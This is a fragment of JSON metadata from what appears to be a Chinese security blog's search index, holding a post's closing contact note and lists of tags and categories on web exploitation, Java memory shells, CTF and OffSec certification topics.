写在最后如果你想要了解的信息文章中没有提到,欢迎发邮件给我一起交流,也欢迎加个好友,通过邮件发送联系方式给我即可 [email protected]","link":"/%E8%AF%81%E4%B9%A6/OSCE3%E4%B9%8B%E8%B7%AF-OSWE-WEB300/"}],"tags":[{"name":"Tomcat","slug":"Tomcat","link":"/tags/Tomcat/"},{"name":"JNDI","slug":"JNDI","link":"/tags/JNDI/"},{"name":"Java Web","slug":"Java-Web","link":"/tags/Java-Web/"},{"name":"内存马","slug":"内存马","link":"/tags/%E5%86%85%E5%AD%98%E9%A9%AC/"},{"name":"Shell","slug":"Shell","link":"/tags/Shell/"},{"name":"ysoserial","slug":"ysoserial","link":"/tags/ysoserial/"},{"name":"Java Agent","slug":"Java-Agent","link":"/tags/Java-Agent/"},{"name":"恶意代码检测与隐藏","slug":"恶意代码检测与隐藏","link":"/tags/%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81%E6%A3%80%E6%B5%8B%E4%B8%8E%E9%9A%90%E8%97%8F/"},{"name":"CVE","slug":"CVE","link":"/tags/CVE/"},{"name":"Java","slug":"Java","link":"/tags/Java/"},{"name":"CodeQL","slug":"CodeQL","link":"/tags/CodeQL/"},{"name":"PWN","slug":"PWN","link":"/tags/PWN/"},{"name":"CTF","slug":"CTF","link":"/tags/CTF/"},{"name":"环境","slug":"环境","link":"/tags/%E7%8E%AF%E5%A2%83/"},{"name":"网络技术","slug":"网络技术","link":"/tags/%E7%BD%91%E7%BB%9C%E6%8A%80%E6%9C%AF/"},{"name":"异常诊断","slug":"异常诊断","link":"/tags/%E5%BC%82%E5%B8%B8%E8%AF%8A%E6%96%AD/"},{"name":"C&C++","slug":"C-C","link":"/tags/C-C/"},{"name":"Linux","slug":"Linux","link":"/tags/Linux/"},{"name":"提权","slug":"提权","link":"/tags/%E6%8F%90%E6%9D%83/"},{"name":"格式化字符串","slug":"格式化字符串","link":"/tags/%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2/"},{"name":"OffSec","slug":"OffSec","link":"/tags/OffSec/"}],"categories":[{"name":"Exploit","slug":"Exploit","link":"/categories/Exploit/"},{"name":"技术归纳","slug":"技术归纳","link":"/categories/%E6%8A%80%E6%9C%AF%E5%BD%92%E7%BA%B3/"},{"name":"文档","slug":"文档","link":"/categories/%E6%96%87%E6%A1%A3/"},{"name":"经验","slug":"经验","link":"/categories/%E7%BB%8F%E9%AA%8C/"},{"name":"漏洞分析","slug":"漏洞分析","link":"/categories/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/"},{"name":"证书","slug":"证书","link":"/categories/%E8%AF%81%E4%B9%A6/"}]}